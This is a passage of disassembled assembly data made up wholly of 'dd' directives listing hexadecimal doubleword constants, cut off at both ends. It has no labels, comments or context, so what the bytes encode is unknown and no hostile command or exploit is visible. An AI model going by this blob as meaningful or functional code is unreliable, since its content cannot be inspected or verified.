13501769h, 4084B411h, 4A3BF649h, 35A37D00h dd 0B70A7499h, 1F10230h, 4669D9FEh, 0B200ACD1h, 9C269DF5h dd 1DA0004Bh, 0A70D8CF2h, 742E9545h, 10AD9CD2h, 3241F8h dd 0DD500D24h, 90BC431h, 51025B00h, 3CBBF191h, 69E0ED10h dd 8C0D16BDh, 2D943032h, 96007863h, 0AA7C54F9h, 0B0E8460Fh dd 8932028Dh, 5CA3C41Fh, 6E2AB040h, 4A43B009h, 4FC405BBh dd 3500DC85h, 3ED91850h, 3CC31703h, 0F0982714h, 81649056h dd 6944C800h, 97938F2h, 8B0E04EFh, 81AE61DEh, 70570AA8h dd 0B416EC4Ch, 0E40EDF35h, 0D70070F5h, 9ADA08C6h, 0D300C86Fh dd 8245AB2Bh, 1C005D9h, 31E3A8C1h, 229E1935h, 2784C84h dd 30844216h, 7118E23Ch, 0F91740E0h, 0EF0359AFh, 52B19340h dd 1418F86Bh, 151F1F6Ch, 0A3CAE43h, 3B845F1h, 6E89FCABh dd 67F4C0E4h, 0D177798h, 14903B46h, 13AF4C3Ch, 43A2CB6h dd 0C0DAFE24h, 4270174h, 72D8C758h, 78713324h, 4494E180h dd 29D54Fh, 5958CF6Dh, 0A3F4825Ah, 98C4B5A0h, 0D40D896h dd 586C17F7h, 470B304Ah, 0CC840B1Ah, 9C414022h, 97B014Dh dd 98EA32BAh, 5C40D098h, 0A188890h, 7B88C973h, 0EE6C4433h dd 1DA6CD3Eh, 60C76DEAh, 0A08F8182h, 0E7317AD4h, 4E5213F7h dd 0F49412C4h, 0F3618D08h, 1BE7EB79h, 7A0F20h, 2CB404E3h dd 5C5B8334h, 66561A03h, 0C9FDA6BAh, 0EC84FB4Eh, 0AD687E39h dd 0E0231C0Ch, 0B00ABA93h, 0D02CD84Eh, 9628CB60h, 0F00150ABh dd 100186EFh, 0B458433h, 0D0406423h, 0BFD2F54h, 1EAB861Ah dd 0DD9C2280h, 0F0D6AD53h, 545110C2h, 0B886860h, 0B4C83E63h dd 0D50024B3h, 70CA15BFh, 7F2EF6h, 72045CD6h, 0A41748A1h dd 38F8DE31h, 947D3E62h, 0D2AA910Fh, 0F7E8B2A1h, 139470D1h dd 0CE6B5309h, 71F0528Dh, 0C785009Dh, 5F322871h, 0AC03189Bh dd 6FAD8BBAh, 69F1E8BDh, 802CAA7Fh, 0B677215Ah, 0AB3D013Ah dd 19FD5D14h, 81C6DB7h, 403B5152h, 0C58D594Bh, 9605577Bh dd 0C05F7E4Eh, 8A228404h, 19AB5C90h, 0B0A4E0h, 2E8B7401h dd 0CA8718E6h, 10C9CE2Dh, 15E3C98h, 0F4F25A9Dh, 0ECA313C6h dd 0FFE2F31Bh, 10CD7C2Fh, 58FB17A0h, 0EB00931Dh, 0C788571Eh dd 0E700BC8Ch, 656001FEh, 2811317h, 67C4E01Fh, 20448884h dd 0F6DB6E00h, 9396E6CBh, 305B00EFh, 0FA4DCEBEh, 5C0011CFh dd 7B1DB432h, 25311A16h, 0B064F6CBh, 15862B00h, 110A8825h dd 0EE2C0E21h, 0F8A20961h, 98C1FCD1h, 47A71038h, 0B0E67504h dd 1C942250h, 0FE606760h, 5C8062E9h, 0EBC0F0CAh, 3AA2469Ch dd 2230994Ch, 1E49862h, 1A896418h, 603BD983h, 0B232AEF0h dd 228C28F8h, 0D45E6C7Eh, 0E70BA240h, 9934h, 8956E9B6h dd 0C300085Fh, 0B5E41B40h, 97C93DA5h, 0C7628C03h, 0E6C6CAB0h dd 3598D8E7h, 0E1BA3C01h, 848A6F15h, 901907Ch, 999F41B1h dd 0F077067h, 0DC60595Eh, 244B8F65h, 13843679h, 6080D0AFh dd 531803F9h, 0B510B6C9h, 5C5A1845h, 0FF9E585Dh, 0FE66A812h dd 0A2EA5CD0h, 0E0389E71h, 60996B01h, 946CF516h, 10099413h dd 5C9881A2h, 22F089Fh, 90BE34C4h, 77E3B098h, 833C0100h dd 0E4A542D5h, 0A1E8AEh, 64B68750h, 664B235Dh, 3490074Fh dd 9C609E59h, 1E8940A4h, 0A100782Eh, 616CF2E2h, 0B323534h dd 7F84C72Ch, 0ABD8A28Ch, 14FF901h, 8D96D8EDh, 780C868h dd 862C19DFh, 1245E217h, 0A8D8BCC9h, 0BB510554h, 0EA65D36Fh dd 38ECF000h, 0F1729998h, 30C043Ah, 0C82CC79Ah, 9A00E445h dd 19FAB993h, 1B891B3h, 18D7DDFCh, 0C8232ED0h, 0C3E3B0F8h dd 7EF30CBFh, 0D0191C16h, 0FC4048DEh, 54105743h, 252F794Ch dd 7CA017B8h, 4BF07177h, 850ACC3Eh, 3BB9A35Ch, 4E30D020h dd 9FE20056h, 14E8B85Ah, 6204D244h, 34FA7383h, 6088F4h dd 859C49B4h, 0F2C95E13h, 0D9B9CF06h, 24690A66h, 1CFF7Fh dd 78E1184Dh, 197881BFh, 0A7217263h, 0C62900E8h, 574D05BEh dd 0AE00B4F4h, 7AA42A6h, 0B063CD27h, 4490BC58h, 121232B8h dd 0A0907442h, 65FE4404h, 1129C900h, 0A4E04EEEh, 46BCA0CAh dd 352605B3h, 9ACF8E8h, 0FE819140h, 0E0EEEA41h, 2324241Dh dd 39405415h, 4F70E8h, 6BBDFBDh, 55F7D7BAh, 4300FBEEh dd 97CE08Ah, 2E5C6h, 0DE9C2336h, 6176370Fh, 20F53F30h dd 7D7BA7h, 9D34B574h, 0EA379F84h, 8281F926h, 89B90306h dd 0F2240028h, 0E9A0A95Eh, 560DE1Ah, 0F9A40306h, 8120C6DFh dd 8A0008ECh, 62272E17h, 0B54CF0h, 848EC0ACh, 3D060D63h dd 89B278C0h, 0CF472h, 3EF79DD2h, 0E3E5C121h, 8DF3DD27h dd 5B47C0E1h, 57EBDF30h, 61E86081h, 0C7DB45F0h, 0A4917E02h dd 8083DF44h dd 0A88E0C78h, 333F017Dh, 0BE2FAC68h, 8AB09880h, 3EBA408h dd 0FA444309h, 69060267h, 0CA82C9EEh, 0F1840761h, 0D36FC3FBh dd 0E103F35Ch, 21532AE3h, 0D4A0DFDEh, 7E98707h, 46E6C041h dd 46D2A7ECh, 917D08EDh, 9360F103h, 3EE821Bh, 44BCDB59h dd 0F0BF5312h, 0BE3E706Dh, 0F22FD03Bh, 0CD897E00h, 17CC30Eh dd 0C46A50EAh, 0D10A335Eh, 3600FCB8h, 7A5D3D47h, 1427AA1Ch dd 0BC2F3A16h, 4280DF82h, 0EFA784A1h, 4EB3FFABh, 9091F8E2h dd 892D60F2h, 0CAF3E501h, 45D90C8Bh, 71FA15FCh, 613A5C1Ch dd 0E0D5167h, 0B4A80090h, 8C9827EFh, 95F20162h, 61FA4596h dd 0DF598014h, 0C8082D9Ch, 7152007Ah, 0A9858382h, 5B04F13Bh dd 0F2815636h, 89C9EB40h, 50007E66h, 3413A4CCh, 1272AB8h dd 0AE2F631Fh, 0BFADBA03h, 95E0489h, 48159FEh, 85D43FCCh dd 490DE45Bh, 0A2002852h, 8B05E465h, 8C131D61h, 0A0005F1Ch dd 4579D7A4h, 5B0D3067h, 9D8459E8h, 0B9406430h, 0C68B7Dh dd 6E638033h, 0DCD6BC91h, 0BD0BDE39h, 94D1A834h, 0CD0AE02h dd 807E485Dh, 9628FF0h, 0A8F908B0h, 8981D581h, 589325B2h dd 0B5BEE0h, 3E0B222Bh, 0A8DEB9DDh, 0A4DC020Fh, 65154082h dd 1B0E56Dh, 0C37B3063h, 867E0E3Ah, 17641649h, 0C59000A1h dd 4FEF4EDh, 37025285h, 645D8CB5h, 20A38F5Bh, 5514C229h dd 3E5492FBh, 4600BD3Bh, 3ABE5F2Eh, 160007CAh, 0EF0E1A4h dd 0F4DF5394h, 0F2009A3Ch, 1614004Dh, 0F6523260h, 0CF004EB0h dd 789A53D1h, 39E76AF9h, 0C3E59F1h, 82626106h, 8000A9D7h dd 6634947h, 5D48F7h, 945FF927h, 512EDBEBh, 20070824h dd 4C8EA280h, 2813D8C2h, 0CE6911h, 0BF169C1Eh, 3AAF6BC4h dd 59C32134h, 0F382F402h, 0A208B6Eh, 32400877h, 1370A95h dd 0E1F1EA44h, 0D043B448h, 8E0A6BFDh, 24EB6735h, 7C248712h dd 5D63D807h, 20F181B2h, 0A27EA885h, 6D804800h, 908DAC98h dd 0DEA1035Ch, 4A0DC9BEh, 366C810Eh, 0C09E4E8Fh, 357DED92h dd 0F97175h, 885333A7h, 873068C7h, 1A51C40Ah, 9502BC0Bh dd 40BAEF17h, 5044E1E4h, 88FAD4FCh, 7F00E7F2h, 4D2DB974h dd 1ED7203Dh, 720E5Fh, 5E0C17B7h, 5152CFEBh, 31460044h dd 0F7625327h, 0EE4B0120h, 6F87EAF2h, 0CD6880B9h, 0BD1A9170h dd 3D6148Dh, 0C3809CBFh, 0BCCE8AF2h, 0A40104B0h, 0A910F27h dd 0F1D046F6h, 95598C3h, 0DC80AAE3h, 873DC400h, 2C986964h dd 26B92644h, 18FCE539h, 380A59F7h, 0BA0FD900h, 0A710FE71h dd 0EF0C0227h, 0CECA2F51h, 91B4E863h, 8F2D64D4h, 0C1DE4A49h dd 843BD2B2h, 394EC20h, 0D4141E67h, 80145C33h, 60C7139Fh dd 0D65B5669h, 82FD382Ah, 9D101A85h, 0CD280061h, 8F11728Ch dd 28ECF1Fh, 479E16C0h, 50C290E3h, 12A2C86Ch, 1DFF0A03h dd 8075C01Ch, 0A720C3F5h, 0AA0CD902h, 40D6A3C2h, 3A4B6F0h dd 0F724CFDCh, 8C0D5Eh, 0B0C5DAE0h, 54680055h, 0A45B2A4Bh dd 0AD244A69h, 0D7622C5Ch, 0B4A28004h, 4D92D03h, 972344BFh dd 0E32C816Bh, 484860E5h, 7E87FE00h, 0FFC8B531h, 916B007Fh dd 0E2DCE109h, 8490B92Ch, 0EC546428h, 8D2F7909h, 855C9061h dd 687706F0h, 79DF826Ah, 95C42E1Ch, 0E128E940h, 236BED1h dd 5B405261h, 0FC416394h, 0CF418627h, 39D481h, 98548369h dd 1163077h, 0D99EB31Dh, 4951FB00h, 1D57C345h, 0EA0DDEB0h dd 14EB2CE4h, 669D0024h, 8BEAE478h, 0E3B54F00h, 0EBE26A0Dh dd 173E03BCh, 88BE0CDEh, 80DCF804h, 3CD05164h, 0A4D22Dh dd 875D3159h, 0CF85C8EFh, 0A254F315h, 6C3503F8h, 8994DA33h dd 28201BBAh, 69EE2412h, 0F2CF0278h, 1440B66Bh, 0B522039Ah dd 0F081309Dh, 0DB06D3D9h, 0CD978C00h, 21A55B38h, 0F6DC026Fh dd 8A78407h, 8100AC44h, 62B85476h, 3FB544B6h, 0A7810D88h dd 0AA4D6550h, 48C6111h, 51C4F2Ch, 0B9F96EE0h, 0C6017EBAh dd 0DF522F26h, 0B4554181h, 0A0F1B40Ch, 0FA0988ACh, 0E68C6900h dd 0C9A4DB4Fh, 35891F15h, 5430E808h, 0EEB448h, 12C67A27h dd 9FCF0968h, 3C768AF2h, 1CA5E82Ch, 71431C04h, 4063D482h dd 30F04A6Ch, 79A17E0Dh, 8300A93Fh, 6B6AED35h, 2E316347h dd 28027F0h, 0EBB98FCAh, 5038A0E1h, 7A3062CCh, 6A5C8C06h dd 497B0Dh, 9A49A815h, 0E5AE2163h, 32011275h, 69EC1DF6h dd 299D0408h, 0FC2C402Bh, 390FA6DDh, 6F0005FAh, 63244253h dd 4C4EF3BDh, 5D2662EBh, 0D4690E70h, 48801A49h, 0E5E8E0E9h dd 82DF6A17h, 22356421h, 16004872h, 0B88173FCh, 0E200BED9h dd 86A85C45h, 293A2D66h, 18A0D67Ah, 0A88D9101h, 0F81E2230h dd 9066C63Eh, 17A73018h, 10E99308h, 78F30A01h, 83B43162h dd 583B1460h, 0EC4C41D2h, 0FC436180h, 15783297h, 9F1F3D00h dd 93440DEh, 51050012h, 0CA0DF7F1h, 8B9E54Eh, 0EE8BC380h dd 9D0B66h, 0A57565Ch, 0EA1B6316h, 23379E05h, 74CCBC03h dd 183E1F43h, 0FF7C7ABh, 86B1146Eh, 491D109Ch, 3A869DAAh dd 1561C52Ch, 94B8039Ch, 2AD49878h, 0E434FBh, 0BB9709D4h dd 174762EDh, 0BC3AA404h, 10B15B84h, 9973E823h, 22608070h dd 0A1DC2153h, 8600C777h, 13DF6171h, 9462F35Dh, 9CA498h dd 0E3975B69h, 4C993427h, 22C1BD9Dh, 0D681FDB4h, 8459C114h dd 72EDD01Bh, 580E7E01h, 79CF461h, 64ED8h, 620CEA7Ah, 3E0AC386h dd 0C4F1A026h, 82EF420Fh, 403A7E5Bh, 9455B458h, 19E680C8h dd 52C3334Bh, 891E6600h, 7BDA16B3h, 0A4BF00B7h, 8251F93Bh dd 0DE09BD9Fh, 6177A0Ah, 141E4C4h, 5447456Ah, 87510BE6h dd 57950A30h, 98D088E9h, 5FFDBA04h, 0E348C8h, 0AA5EF4CDh dd 0F0448298h, 20643025h, 0CE40FC80h, 62370B3Fh, 8ED519CBh dd 878E4004h, 71584Eh, 4FAC450Ch, 0ED11BB65h, 0CEA910C1h dd 0A428BE0Dh, 0D9F30096h, 7407D2C6h, 2F025207h, 7F3345F4h dd 1A40F897h, 0BD0318D9h, 0D3819992h, 0BCE2B4A8h, 0BAF5BF00h dd 0DCC388FBh, 75F0009Ch, 0FEF71EEAh, 0E550621Ah, 0D2E570A8h dd 485498E1h, 900F7A8h, 0A5CB998Dh, 771F7930h, 0BBA6000Eh dd 0D1F6AADBh, 0CC91642Fh, 0DC60CD16h, 0C1A6551Ah, 5137F891h dd 0A80BF40Eh, 19CD6001h, 3809A56Eh, 26DF1BE0h, 441130h dd 323A3EC9h, 84AF207h, 0B3CAD004h, 0BD488Ch, 1C5CF4A1h dd 4D90546Fh, 77CB6402h, 0C482CC67h, 0B8F7FD60h, 0E47E9950h dd 16B9303Ch, 69E6EC20h, 0C710E005h, 0A48025B2h, 16FE8172h dd 0B3C1211h, 18187524h, 4800ED03h, 6766D4B4h, 5F5A6Dh dd 3CC1A885h, 0F39C69C4h, 2D01FDF8h, 8096356h, 14982447h dd 0DB0B179h, 0C0D8055Ch, 61222053h, 0C28C05B4h, 366D094h dd 1DCCBEFCh, 0C5AC44A0h, 3BF26276h, 0D1F3DF18h, 4C43AF20h dd 244CCCD9h, 30281C0h, 6B7FEF12h, 210E3A25h, 0DAA86098h dd 0BB32EC40h, 8B981h, 0D9DC0D53h, 3A0092E7h, 11B62C6Ah dd 0D430B3h, 45660915h, 647DCB42h, 0C083089Eh, 0E80A0ED0h dd 0BC604B3h, 30873CDh, 67254820h, 0C300C8A0h, 7DBCDC81h dd 18C2448h, 16F5E134h, 2063E51Ah, 5813746Ch, 1C08189Dh dd 80CA4167h, 8BA0F40Ch, 466E6903h, 99DCE2A4h, 3EFBA15Bh dd 0BE00C8E0h, 59450F44h, 61F8EFC4h, 47A13E60h, 0A9A634h dd 1A71B0D6h, 0D9C862FFh, 0E9025894h, 906BF3B2h, 495CB5C8h dd 74004CA0h, 46971A09h, 8600457Fh, 0C7CAB340h, 1EE5EC3h dd 0F8B94AA8h dd 505FF3D6h, 0A13E0A0h, 0EAA4A909h, 0AF980160h, 0D4407F0Dh dd 1ECE3166h, 954B2277h, 3A00904Fh, 0A63B2A84h, 2BF2E2FCh dd 90491A00h, 0A529CEAEh, 124605F6h, 0CCD6BB6Eh, 0F300FFC0h dd 523EAE7h, 1E4B43h, 9CF65C2Ch, 0AB8EAA79h, 2FF03403h dd 24EF0FBDh, 19CB688h, 940EDEADh, 0DE083155h, 6204202Ah dd 78807334h, 58274375h, 1580F061h, 0D6671EC2h, 0E86B7B00h dd 0EE2DF906h, 16FD26D2h, 0DBD1077Ch, 2C989988h, 0E6003F75h dd 0A5E95B9Dh, 0E895F184h, 3B6E03A8h, 0ADEC35B6h, 915D980Fh dd 0C908E9B4h, 5EC4C7CCh, 0FA00043h, 864935CCh, 5203F6BBh dd 102FD440h, 0B4D00169h, 0C0650AEAh, 8AC0805Dh, 14B94D76h dd 40804F44h, 184CBB1Ch, 0D600FDD7h, 0CE7857F0h, 293F2384h dd 7F4549Ah, 0A0A9499Eh, 4BBA44CCh, 0F4E19100h, 0C24557AEh dd 0CAF30CECh, 0BB085C96h, 39AF5530h, 1A4EC9h, 14AEC6ABh dd 9A085B9Bh, 217A3530h, 24D9C28Ah, 93B0F85Ch, 137200A2h dd 0D7A8E6A1h, 0ED75E3EAh, 3D778100h, 87B1DF4Ah, 0FA0A0979h dd 9CC45CA1h, 0A24839E6h, 80083E06h, 0CD73E7C3h, 4C03B871h dd 8284ECBEh, 0B15B40D6h, 0C5246h, 5FB76BE8h, 690B1DDEh dd 0DDBCFC03h, 0B8EEF8B4h, 1315558h, 0A4DBA96Eh, 4CDA3F38h dd 4D04618Ch, 77AF3DA2h, 0FBF4EE80h, 6D6F04F9h, 8227DEC6h dd 72E0BCDCh, 0A8B8E38Ch, 440DF144h, 0D8ECD904h, 81231F3Eh dd 0BDB52516h, 50684A86h, 3A689A03h, 391FC675h, 93393FD0h dd 6C174285h, 68CF1420h, 170D3911h, 87FE4602h, 0DCE65FCDh dd 69D29E00h, 2792A811h, 0A4720E80h, 0B34E82E3h, 0A03BB00h dd 0E0098C9h, 3D028766h, 52B99Bh, 2035AFD8h, 0ED4068DEh dd 6B8CC600h, 18FD8519h, 263E0115h, 1AA0BD9Ah, 0C895C8BCh dd 38B03B00h, 0E5068481h, 0B5F81Bh, 0E9F8BB40h, 0B8DC3164h dd 8E75EAE8h, 0A0254Ch, 6A36B9EFh, 9251ECh, 8F0A1D95h dd 346B8184h, 0DB3722ECh, 9C2E8161h, 0CBC8B5C0h, 3E11AA01h dd 5000D734h, 0B1F68D3Fh, 683007D4h, 0FA29C00Ch, 43F70E95h dd 685849FEh, 0E3F26D54h, 0DF0C6AECh, 41F53565h, 4B8A003Dh dd 7EFEE789h, 703EEC74h, 0D378606Eh, 0CAE492h, 3DF7FF64h dd 0FC6DDFFDh, 0BF9AB713h, 689B18FFh, 0A5001D83h, 8257D064h dd 7693BF0h, 0BF1FE829h, 80EA6476h, 46F1649Bh, 0E534D701h dd 603BEC6Fh, 9461E185h, 0AB4801D3h, 80FA370Dh, 0BA6F2A11h dd 8A0B36h, 66C11915h, 63A959EAh, 16D01A60h, 31514696h dd 0DB5069F2h, 93598266h, 40A6E659h, 0F239A853h, 542000B3h dd 0B91B21E7h, 28C913E4h, 0C48D0650h, 143F070h, 8FC3330Dh dd 80E13561h, 32039289h, 0F0EA53C8h, 855D0081h, 93DC56D8h dd 0C938C163h, 88E3A808h, 440599EAh, 4AD33B61h, 92BF9C00h dd 0BC8F0Fh, 8362B8A4h, 4E63C49Bh, 59DBA815h, 4A5E00B8h dd 0BC2B9752h, 21DF001Fh, 92B9AEB0h, 290CEE89h, 90EC5180h dd 0CE5D01C4h, 65C1AB6h, 299AD8C0h, 5FEAA100h, 0CF4A36F6h dd 0D40E0043h, 0B9195AD3h, 8130F878h, 0E08D4146h, 0E97E0061h dd 7BA5766Dh, 96FECF18h, 8E490900h, 88AEAC9Ah, 7690A81Ah dd 0AB223E8Fh, 17BCB700h, 0FF53EF8Ch, 0C5784610h, 3EB9ED0Bh dd 40C4E388h, 0E3BCEFF7h, 0FDB8C800h, 91D1CBF5h, 116702C0h dd 0DEE0A18h, 0E6DE6DE1h, 38A1D8A0h, 6507C87Ch, 5AE3EB6Fh dd 3A0A4DF0h, 46CB022Fh, 13782709h, 1015A481h, 80B4206Fh dd 583BBD09h, 45E40007h, 0C918E1B9h, 0B001DEB9h, 4015D6F1h dd 1C4C5C4Ch, 34871E00h, 0B4B77C2Eh, 26AB0071h, 0E6DD1A3Ah dd 3C037DF1h, 0DB763664h, 801DA3A9h, 38461206h, 3BA830DFh dd 34BE12A1h, 0E71040FDh, 275D66DDh, 18810E04h, 0B9C0A4E9h dd 152C5FA0h, 94BA1A76h, 0B5E64B00h, 0C3D90DB4h, 0E58A1B00h dd 0E7B920B2h, 0BCB9C019h, 0E8944397h, 13183C64h, 896C4644h dd 0D3E9F154h, 135C1949h, 0C600AD3Ah, 43EC66F0h, 0EE600CA6h dd 0E6204675h, 0F7BC0D00h, 0ECB62749h, 415A6144h, 80E33702h dd 53BB71C9h, 3EA03D5Ch, 0F480ABB6h, 0E3C8F7F1h, 0EB0F268Bh dd 20E71AA3h, 7859554Bh, 90189020h, 74381270h, 3DAC082Ch dd 0BBB01BEh, 0DB8D37E9h, 702F448h, 4C843F9Dh, 4D20EF54h dd 0BF0DEAFh, 0ABD87B50h, 0A6C34806h, 3491488h, 43F9CD68h dd 23E1F13Fh, 99B420E1h, 634DEB12h, 0B86B7000h, 50ECE320h dd 4988343Dh, 7F1E784Eh, 0FC30009Fh, 0DC1A72BBh, 3B642300h dd 3FABF0A1h, 0AC48F50Bh, 30D301F1h, 34C7A8FEh, 0FB8C50E0h dd 7301465Ah, 21B33616h, 707026E7h, 0AAB2000Ch, 0D8B83777h dd 31C97A46h, 5FE098EDh, 0A14700BAh, 0BE7039D3h, 74507CD0h dd 7D2CD1D0h, 0BB019A51h, 0D294A7B3h, 0C001A431h, 0A0F26122h dd 49EC3F80h, 0F83730A1h, 12952811h, 1DC5800h, 6B31F1ADh dd 0C37581Bh, 0ECA0478Eh, 0E570E1C4h, 0AEC53E03h, 1D634F1h dd 7FF76C21h, 0DA105878h, 41AC0448h, 2E898112h, 80BF3408h dd 7128F540h, 20998899h, 7D398500h, 16C82B82h, 1D98FE7h dd 0A184D4C0h, 0F9DC4C89h, 11F62D00h, 6D5BC30Bh, 74C70029h dd 4EF7D439h, 7B00B9C1h, 0EC4AE536h, 8E3F4237h, 0BE2D7100h dd 3B12F9E9h, 70BC048Eh, 81E37BCCh, 0EFACCA68h, 233080BCh dd 0FE0C22B6h, 49D3B9C5h, 58DF6450h, 8761426Dh, 92C4C014h dd 810B28F2h, 83260034h, 0D7AE06Dh, 0B0B18957h, 3DEF4B80h dd 0F87D9D73h, 0ADF20CDCh, 0B8394D81h, 98000AECh, 118A2FE5h dd 73771Fh, 0CE0637A0h, 0B1ACFD75h, 80DC814Ch, 8032E052h dd 0A22804FCh, 800FA88Ch, 0AD832429h, 166C1748h, 940E903Dh dd 1A2AA135h, 0C30069E8h, 0D1006FB7h, 0B4BA944Fh, 7B238968h dd 62FD02C1h, 9A216D64h, 8355A541h, 508532F1h, 0D41813A5h dd 1B4A00C3h, 71649791h, 80BD9F39h, 0B331423Bh, 48BE8048h dd 145034D6h, 0BA5C88F9h, 6276B100h, 0AC560B41h, 0CC4712ADh dd 15416AAh, 0C066DAA7h, 153189E2h, 0A81C20BBh, 504D756h dd 0B5672345h, 0C8A00B0Ch, 0C38F1404h, 0A9026950h, 286D851Dh dd 462841E1h, 0AF79F60h, 1A895A40h, 0B9750F28h, 4960037Dh dd 8BE2E880h, 84033444h, 57913A8Eh, 73B18887h, 9CF3541Ah dd 0AC5A002Dh, 98BDFD55h, 0DE001C8Ah, 42EEE719h, 16F0838h dd 330CBCFFh, 20CBCFA5h, 0EC127210h, 0E04B6A41h, 2128108Bh dd 5CC57014h, 6B2160F3h, 0A0D09508h, 44E200E0h, 0DC13528Dh dd 31003078h, 40D38A61h, 2948A09Ah, 79837DBh, 0AFCBFA32h dd 973180FDh, 408F7814h, 0FB27AB01h, 0E5B90330h, 881FA832h dd 64EA42E1h, 8CA0BD1Ah, 0A87F1CD1h, 380004EAh, 6F165886h dd 48613378h, 6B87F898h, 93926579h, 0DEA20D6Ch, 85187080h dd 5E01E7E3h, 323AFA51h, 0F040EE84h, 1116A68Ch, 0E1341Ah dd 2A588E9Ch, 3D063968h, 1A87B2E8h, 0BFFE6BF1h, 2C7BCA21h dd 9AE4307Ah, 901C3750h, 39414400h, 8A86DA47h, 164300B0h dd 29BB7361h, 350B5CD7h, 2CB684Eh, 6EC4BE0h, 3F000934h dd 4009AD6Ah, 4E6851h, 321B0A28h, 0A8E3C5EBh, 0B0770B8h dd 0DE69343Ah, 266A010Fh, 0C3D04409h, 842E004Ch, 15967066h dd 6E12544Eh, 0E430B668h, 7A912DA2h, 6E70035h, 68F558E3h dd 730088F2h, 3D943B9Ch, 999566B1h, 2CA824C8h, 0B01A0244h dd 0A0C43482h, 9E00357Bh, 0E6C54133h, 3E032DC0h, 680EFB5Dh dd 9421B6B2h, 24B49A8Fh dd 1A0774A0h, 0DB4B7F61h, 0FE80C89Ah, 0D5C1C292h, 95840086h dd 0B8A86566h, 3090DF15h, 598A9301h, 0F2C16029h, 114D9842h dd 0F7B710FEh, 5100030h, 0A460581Dh, 609B5F0h, 2043DBBAh dd 959D14BCh, 38A004Ah, 5941E7EEh, 0B00578Fh, 8FAB0ABh dd 92BC1A0Ah, 8E2E00A4h, 5A3A77Ah, 190B4BF2h, 2CF695h dd 40D98A3Ah, 0ECB712B1h, 6D20C846h, 0D5BAEA09h, 8FC818F7h dd 91F4E2h, 0BCAE1D3Dh, 3377CE87h, 96D8A39h, 108161CFh dd 0EDFC00h, 45060507h, 7C5F049Ah, 0D23F70FFh, 0B723E807h dd 0BFC078A9h, 0A61B14B8h, 0B0C012C4h, 0E5CB071Eh, 0F2334070h dd 0DA03C3CCh, 7B3D5159h, 8066FBA1h, 0F22EC68Eh, 5AA86055h dd 5239AA49h, 0B20FDB00h, 0C4378435h, 73513B66h, 75808CCCh dd 7734BA21h, 0B99BAE01h, 23DE6296h, 17984Ch, 9E247484h dd 4F4764F9h, 0A1B4101h, 6D46D72Bh, 4D00B062h, 0CEC5450Ch dd 0B4168766h, 6024FDB9h, 490084A2h, 298B59Fh, 0ABE84FF0h dd 2C88AD2Ch, 0E02AB442h, 0E0F1F7h, 1457DFDEh, 7456D007h dd 24472F1h, 7A1BF471h, 1C76605Ah, 203A05D3h, 81E02699h dd 8C52E59Ch, 79FF3451h, 1AB5001Ch, 0E1C0F15Dh, 0BE031B8Fh dd 5E51A283h, 0FDB8E0D0h, 1CFB587Eh, 3BF9604h, 52CCCC3Bh dd 29DD5Ch, 29A0F0B9h, 0C0326D7Bh, 0EA136B10h, 1474DF46h dd 0B3068F0Ah, 0C70F4088h, 0D92B23AFh, 25B6E8AAh, 8A3B00FEh dd 0B1707A4Eh, 0A04C805Bh, 1E4224Ch, 5E0FCCD9h, 23832544h dd 36740084h, 8C8A894Dh, 0F8060230h, 7FC8314Ah, 66008066h dd 1E8576D3h, 10236D53h, 0F43230h, 1BB06865h, 201BDBCh dd 634746E4h, 7441853Fh, 4C80156Fh, 48179A97h, 9113D0DCh dd 29B09037h, 0AD3B81B9h, 90200066h, 0D3317D65h, 980DF25Ah dd 0F94E3A54h, 1CE1DC0Fh, 0E4204B36h, 81797C18h, 8F6E6D01h dd 0C00B884Bh, 291F3C30h, 80D4EEA8h, 5D6BEFBDh, 6C001BF8h dd 0F431BEE9h, 4C4FC22Ch, 0DFA4FBh, 5FAA21F5h, 0AC1C0B28h dd 2B6ECC4Eh, 80B8E809h, 0CAAFD798h, 40D89443h, 2778C1CDh dd 0F4DC281Dh, 579C2F40h, 0A0BC02D7h, 0E8E1A8FCh, 0BAFC9142h dd 0E50D4685h, 48F4C0BAh, 8127859h, 90061EAh, 66F38AE6h dd 0D0871F8Fh, 786900F6h, 52DF8916h, 14AD100Eh, 6E807FD2h dd 3C420570h, 16378F2h, 6A09C98Eh, 2128C7DAh, 0D4AAE460h dd 0A88D1526h, 736E0880h, 0A70CA0Bh, 0C2534693h, 3B6480A4h dd 0E9F6B029h, 5644A896h, 0C012EF32h, 918B30C0h, 0E39D0048h dd 1351E62Fh, 975F9401h, 26ED99C9h, 0E0F3C2D0h, 89DC007Dh dd 70ABAA12h, 0DE4AC50Bh, 4234AC40h, 0B0C7F697h, 11290454h dd 0D59E7946h, 72443014h, 4E00427Eh, 703F8199h, 99B52D55h dd 185E80D8h, 0E6B6CD8Bh, 0EB15CF00h, 0EC9CE751h, 0FBAC3E52h dd 3CF017h, 0C7C38EB0h, 0AC9E9766h, 5437A4BBh, 531D0C05h dd 79ECE88Dh, 28FD00EBh, 0C9629B59h, 0BC003D8Eh, 13670405h dd 0C8244A9h, 0FB51EF4Eh, 6626FDC0h, 0EC424CD1h, 1B0513Ah dd 36B9147Fh, 9D64208Ch, 88F3E8C8h, 778F7DDBh, 0E2F2C0CFh dd 0C46FD67h, 39A321AFh, 1B09ADA0h, 0E4504F3Eh, 649601C8h dd 357BA565h, 0C80613FBh, 70EBC4E2h, 1E8D777Dh, 0C26DEAF7h dd 3FA30BD3h, 0C85E0840h, 234A248h, 69E9DB75h, 6FF0E032h dd 0A8433AF7h, 301173A4h, 1781FED8h, 7DF8ED40h, 7D3AE442h dd 48830718h, 5E3EB4C8h, 870D5180h, 8C099161h, 483BECC0h dd 1B91E64h, 0DDE6E552h, 609446CFh, 0C22E4E28h, 0E860D85Ch dd 72E8C20h, 0BF020FD8h, 80704562h, 3D5FD63Ch, 8008DB48h dd 3AD87C65h, 8E1300E7h, 78FA70A3h, 0CB0131A0h, 0BF4B215Dh dd 830B593h, 0DCC73AADh, 8DB826h, 0EA662F5Ch, 0DB48F24Ah dd 0DEB583CCh, 250DB8E1h, 4010305Ah, 2F382419h, 0F200D2E2h dd 0F737C265h, 90DFD95h, 0F17EAB59h, 5E745080h, 2D01DDDFh dd 149B8A88h, 0CC212819h, 0B248B000h, 0F75E00EAh, 6B32D24Ch dd 920041D8h, 78A543EFh, 0E4A29A22h, 812C99BBh, 3DFDA38h dd 0D32843h, 0BF847C54h, 0B11AC983h, 49850190h, 287F9F1h dd 0EA68C6A8h, 95377BCh, 790CBF7Dh, 2500B464h, 0CDA914D4h dd 7DDE59Bh, 3EB62A4h, 0C8DB04FDh, 9F00ADDCh, 94A6071Eh dd 2266ACCBh, 1A30F999h, 160A81C1h, 0D73401F5h, 0DC52FDDBh dd 